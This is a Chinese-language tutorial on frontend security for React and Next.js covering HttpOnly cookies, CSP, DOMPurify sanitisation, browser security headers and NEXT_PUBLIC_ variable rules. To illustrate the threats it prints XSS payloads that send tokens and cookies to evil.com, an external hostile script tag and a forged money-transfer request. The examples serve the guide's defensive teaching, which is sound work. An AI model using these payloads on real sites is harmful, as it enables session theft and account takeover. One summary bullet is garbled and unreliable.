每个 React 和 Next.js 应用都需要的五项前端安全防护措施
为什么 React 和 Next.js 应用会使用 HttpOnly Cookie、CSP、DOMPurify、安全头以及 NEXT_PUBLIC_ 规则,以及它们各自能防范哪些攻击。
人们很容易将安全性视为后端的工作,但实际上从会话被盗到 API 密钥泄露的诸多严重漏洞,往往都起源于客户端代码。生产环境中的 React 和 Next.js 项目代码中存在一些乍看之下似乎没有必要的配置:HttpOnly Cookie、next.config.js 中的特殊头部信息、DOMPurify 工具、NEXT_PUBLIC_ 前缀的变量以及内容安全策略。本指南将介绍其中最重要的五种配置,说明它们各自能防范的攻击类型,以及正确使用时的注意事项。
1. 使用 HttpOnly Cookie 将认证令牌与 JavaScript 分离
令牌的存储方式可能是前端开发中最具影响力的安全决策。常见的做法是将令牌保存在 localStorage 中:
localStorage.setItem("token", token);
然后手动在每个请求中附加该令牌:
fetch("/profile", {
headers: {
Authorization: `Bearer ${token}`,
},
});
虽然这种方法可行,但会让页面上运行的任何脚本都能读取到该令牌。
XSS如何演变为账户接管
跨站脚本攻击(XSS)指的是攻击者在您的网站上运行自己的JavaScript代码。典型的入侵途径是渲染不可信的HTML内容,比如用户评论:
<div dangerouslySetInnerHTML={{ __html: comment }} />
如果攻击者能够使脚本运行,读取令牌只需一行代码:
<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>
严格来说,通过innerHTML(即dangerouslySetInnerHTML所使用的方式)插入的script标签并不会被执行;真正的攻击会使用第3节中提到的那种事件处理程序载荷。无论哪种情况,一旦脚本开始运行,localStorage就会完全暴露。
只要拥有令牌,就可以无需密码登录,进而访问账户、冒充用户、执行交易或使用管理员功能。
让浏览器负责会话管理
标准的解决方案是让服务器将会话信息存储在脚本无法访问的Cookie中:
Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict
每个属性都有特定的作用:
HttpOnly可隐藏Cookie,使其不被JavaScript读取:如下所示,通过脚本尝试读取该Cookie将无法获取到内容。Secure可将Cookie的使用限制在HTTPS协议下。SameSite=Strict可防止浏览器在来自其他网站的请求中发送该Cookie,这是防范跨站请求伪造(CSRF)的有效措施。Strict模式还会在用户通过其他网站链接进入时删除该Cookie,因此许多应用选择使用Lax模式。
document.cookie
这种变化体现了权限归属的转变。此前是由前端控制令牌:
Frontend controls token
之后则由浏览器负责管理:
Browser controls token
您的代码在每次调用时不再会生成这样的标题:
Authorization: Bearer token
因为浏览器会自动添加 Cookie。凭证永远不会通过应用程序代码传递。关于服务器端的内容,请参阅我们关于 Node.js 中 sessions 与 JWT 的对比 的文章。
2. 使用内容安全策略阻止注入脚本运行
一个常被忽视的防护措施就是名为
Content-Security-Policy
的标题,Next.js 项目通常会在其中进行配置
next.config.js
为何仅靠 HttpOnly Cookie 不够
假设攻击者成功注入了外部脚本:
<script src="https://evil.com/hack.js"></script>
默认情况下浏览器会执行该脚本。攻击者虽然无法读取 Cookie,但也没这个必要:因为脚本是在您的域名范围内运行的,所以它的请求会自动携带用户的 Cookie:
fetch("/send-money", {
method: "POST",
body: JSON.stringify({
amount: 50000,
to: "hacker",
}),
});
后端检测到已通过身份验证的请求后会处理数据传输。同样的漏洞还可用于其他攻击:
- 伪造登录提示。该脚本会显示类似下文的官方样式对话框,用户输入的任何内容都会传给攻击者。
- 强制重定向。用户会被悄悄引导至模仿您网站的钓鱼网站。
"Session expired. Enter password again."
可执行代码的白名单
CSP用于告知浏览器允许其运行哪些来源的脚本。最简单的策略如下:
Content-Security-Policy:
script-src 'self'
'self'表示仅允许来自您自身域名的脚本运行。当页面遇到来自其他域名的脚本时,比如下例所示,浏览器会拒绝执行它:
<script src="evil.com/hack.js"></script>
在 Next.js 中,你可以通过配置中的 headers() 为每个路由设置响应头:
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "Content-Security-Policy",
value: "script-src 'self';",
},
],
},
];
},
};
将其视为一个起点。仅使用 script-src 'self' 也会阻止内联脚本的执行,而 Next.js 正是使用内联脚本进行页面初始化的,因此严格的策略通常需要随机数令牌(可查阅当前 Next.js 文档了解中间件实现方式)。建议先通过 Content-Security-Policy-Report-Only 测试新的策略。
两层防护,各司其职
HttpOnly Cookie 能限制 XSS 造成的损害;CSP 则试图完全阻止脚本运行。真正的防护来自于两者的结合使用。
3. 在使用 dangerouslySetInnerHTML 之前对 HTML 进行净化
React 仅在默认渲染路径上防止 XSS,该路径会自动对插值文本进行转义:
<p>{content}</p>
因此,如果 API 返回这样的字符串,React 会将其作为普通文本显示,而不会执行它:
<script>alert("hacked")</script>
解决方法是
dangerouslySetInnerHTML
React 故意在其名称中加入了
dangerously
这个字。
当你确实需要原始 HTML 时
博客、CMS 页面、Markdown 输出以及富文本编辑器都需要渲染 HTML。假设后端返回的内容如下:
<h1>Frontend Security</h1>
<p>Learn React Security</p>
通过常规插值方式渲染时:
<p>{content}</p>
标签会以原始文本形式显示。而使用解决方法后则能生成格式正确的内容:
<div dangerouslySetInnerHTML={{
__html: content
}} />
看起来正常,但它也是一个注入点。
真正会被执行的载荷
攻击者会提交如下格式的标记:
<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>
图像源被故意设置为无效状态,导致加载失败,此时onerror处理程序会执行攻击者提供的JavaScript代码。
使用DOMPurify进行净化
常见的解决办法是在渲染之前对内容进行净化处理。首先安装该库:
npm install dompurify
导入该库:
import DOMPurify from "dompurify";
然后在将内容传递给React之前对其进行净化处理(在实际代码中,sanitize调用和return语句应分别写在不同行上):
const safeHTML =
DOMPurify.sanitize(content);return (
<div
dangerouslySetInnerHTML={{
__html: safeHTML,
}}
/>
);
DOMPurify能够移除诸如script元素、像onerror和onclick这样的内联事件处理程序、链接中的javascript:格式URL以及注入的iframe等危险内容,仅保留安全的标记。由于服务器端没有浏览器DOM,因此服务端渲染的代码需要借助jsdom之类的DOM实现,或在编写时进行净化处理。
不可信任的来源包括你自己的后端
永远不要轻信任何输入数据,即便是来自你自己的 API;那些数据通常源自更不可靠的来源:
- 最终用户
- 管理面板
- CMS 编辑器
- 第三方 API
- 富文本编辑器
4. 能填补安全漏洞的浏览器安全头信息
许多生产环境配置中都设置了三组容易被忽视的头部信息:
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
每组都能防范不同的攻击。
X-Frame-Options:防止点击劫持
攻击者会在自己的域名上创建一个页面:
evil.com
然后在其中嵌入一个不可见的 iframe 来显示你的网站。用户以为自己点击的是
Claim Prize
但实际上点击动作落在了下面的真实按钮上:
Transfer ₹50,000
这就是点击劫持。解决办法就是禁止页面被嵌入框架:
X-Frame-Options: DENY
此时浏览器会拒绝嵌入你的页面。现代CSP中的对应设置是frame-ancestors 'none';同时使用这两项设置可兼容旧版浏览器。
通过Strict-Transport-Security强制使用HTTPS
在公共Wi-Fi等不可信网络环境中,普通的HTTP流量可能被截获,从而导致密码、会话数据、一次性验证码及其他隐私信息泄露。HSTS指令要求浏览器仅使用HTTPS:
Strict-Transport-Security:
max-age=31536000
一旦浏览器收到此头部信息,即使是手动输入的地址如
http://example.com
也会自动升级为
https://example.com
在任何请求离开设备之前。max-age的值为1年。浏览器仅能通过HTTPS学习该规则,因此首次访问时除非域名已被预加载,否则不会受到保护。
X-Content-Type-Options防止MIME类型嗅探
历史上,浏览器会尝试猜测文件的真实类型。如果服务器声明了
Content-Type: image/jpeg
但文件实际包含脚本代码,那么通过嗅探机制工作的浏览器可能会将其视为可执行文件。要禁用这种行为,可以使用一个响应头:
X-Content-Type-Options:
nosniff
该响应头会指示浏览器信任所声明的Content-Type,不再进行猜测。
在 Next.js 中设置这三个响应头
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key:
"Strict-Transport-Security",
value:
"max-age=31536000",
},
{
key:
"X-Content-Type-Options",
value: "nosniff",
},
],
},
];
},
};
这些响应头几乎不会带来任何成本,却能杜绝整类攻击。
5. 将服务器密钥与浏览器可访问的环境变量分开
将.env文件排除在 Git 版本控制之外并不能确保密钥的安全。真正重要的是最终会进入 JavaScript 打包文件的内容。
密钥是如何进入打包文件的
以这样一个变量为例:
SECRET_KEY=abc123
它会被客户端代码引用:
console.log(
process.env.SECRET_KEY
);
当打包工具在构建时将环境变量内联到代码中时,生成的代码会包含这些变量的实际值:
console.log("abc123");
任何人都可以通过开发者工具读取这些值。Next.js已针对意外情况做了防护:没有添加NEXT_PUBLIC_前缀的变量不会被内联到浏览器代码中,因此在浏览器中会被视为undefined。只有当敏感信息被加上公共前缀以掩盖错误,或服务器组件将其作为属性传递给客户端组件时,才会发生信息泄露。
NEXT_PUBLIC_规范
只有名称以
NEXT_PUBLIC_
开头的变量才会被嵌入到浏览器构建版本中。像这样的值是可以公开暴露的:
NEXT_PUBLIC_API_URL=
https://api.com
并且在客户端代码中可以这样读取:
process.env
.NEXT_PUBLIC_API_URL
因为API地址本身就是公开的。
绝不能公开的内容
这些内容只能存在于服务器端:
JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS
典型的生产环境配置
该仓库中没有.env文件,因为该文件已被列入.gitignore中:
.env
实际值会在构建或部署时由CI/CD系统或托管平台注入。只有NEXT_PUBLIC_开头的值会进入浏览器打包文件,其余内容均保留在服务器上。
需记住的规则是:如果浏览器能够访问某个值,那么它就是公开的。实际上没有所谓的“前端机密”。
核心要点
前端安全旨在逐步缩小攻击面,增加被利用的难度。
- HttpOnly Cookie可防止注入的脚本获取会话令牌。
- 内容安全策略能阻止未经授权的脚本运行,但与Next.js内的联机脚本共存时需要使用随机数。
dangerouslySetInnerHTML 在处理非用户编写的内容时更加安全。NEXT_PUBLIC_ 前缀限制 决定了哪些内容会被发送到浏览器,因此应将此前缀视为发布决策的一部分。了解每种防护机制能阻止哪些攻击,有助于你正确配置它们,并及时发现缺失的防护措施。